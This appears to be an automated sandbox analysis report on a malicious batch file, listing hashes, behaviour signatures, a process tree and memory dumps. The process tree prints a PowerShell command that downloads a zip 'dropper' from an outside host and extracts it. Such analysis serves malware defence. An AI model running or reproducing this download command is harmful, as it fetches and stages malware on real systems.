1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1562s
max time network
1573s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 10:14

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General

Target

tesy - Copy (5).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2692	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2692	powershell.exe
2496	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeDebugPrivilege	2496	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2080 wrote to memory of 2692	2080	cmd.exe	19
PID 2080 wrote to memory of 2692	2080	cmd.exe	19
PID 2080 wrote to memory of 2692	2080	cmd.exe	19
PID 2080 wrote to memory of 2496	2080	cmd.exe	30
PID 2080 wrote to memory of 2496	2080	cmd.exe	30
PID 2080 wrote to memory of 2496	2080	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (5).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2496

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\41IYAWLKJIXMJPO8AHC7.temp

Filesize
7KB

MD5
7244b59353c703e9e73a3d121b9b8668

SHA1
54d17544d9f691b1b3635b333c894bb1fc85d926

SHA256
061b35ceb75f5a94a9edad776e8baef47bfce887d6837ddf9bfc483209d68170

SHA512
b11227874a0a683633e38c0bca367ace86ae64c76a97d18d63f66c14834a3f74eb8aa735cd93d9c11d022bd883f2154c4b8d817974595f73d0c7ec39028d1838

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
7244b59353c703e9e73a3d121b9b8668

SHA1
54d17544d9f691b1b3635b333c894bb1fc85d926

SHA256
061b35ceb75f5a94a9edad776e8baef47bfce887d6837ddf9bfc483209d68170

SHA512
b11227874a0a683633e38c0bca367ace86ae64c76a97d18d63f66c14834a3f74eb8aa735cd93d9c11d022bd883f2154c4b8d817974595f73d0c7ec39028d1838

Download Submit
memory/2496-23-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2496-19-0x000000001B370000-0x000000001B652000-memory.dmp

Filesize
2.9MB

Download
memory/2496-27-0x000007FEF53E0000-0x000007FEF5D7D000-memory.dmp

Filesize
9.6MB

Download
memory/2496-22-0x000007FEF53E0000-0x000007FEF5D7D000-memory.dmp

Filesize
9.6MB

Download
memory/2496-26-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2496-25-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2496-24-0x0000000002730000-0x00000000027B0000-memory.dmp

Filesize
512KB

Download
memory/2496-20-0x0000000001EE0000-0x0000000001EE8000-memory.dmp

Filesize
32KB

Download
memory/2496-21-0x000007FEF53E0000-0x000007FEF5D7D000-memory.dmp

Filesize
9.6MB

Download
memory/2692-11-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/2692-5-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp

Filesize
9.6MB

Download
memory/2692-6-0x0000000002490000-0x0000000002498000-memory.dmp

Filesize
32KB

Download
memory/2692-13-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp

Filesize
9.6MB

Download
memory/2692-4-0x000000001B110000-0x000000001B3F2000-memory.dmp

Filesize
2.9MB

Download
memory/2692-7-0x000007FEF5D80000-0x000007FEF671D000-memory.dmp

Filesize
9.6MB

Download
memory/2692-9-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/2692-10-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download
memory/2692-8-0x00000000028F0000-0x0000000002970000-memory.dmp

Filesize
512KB

Download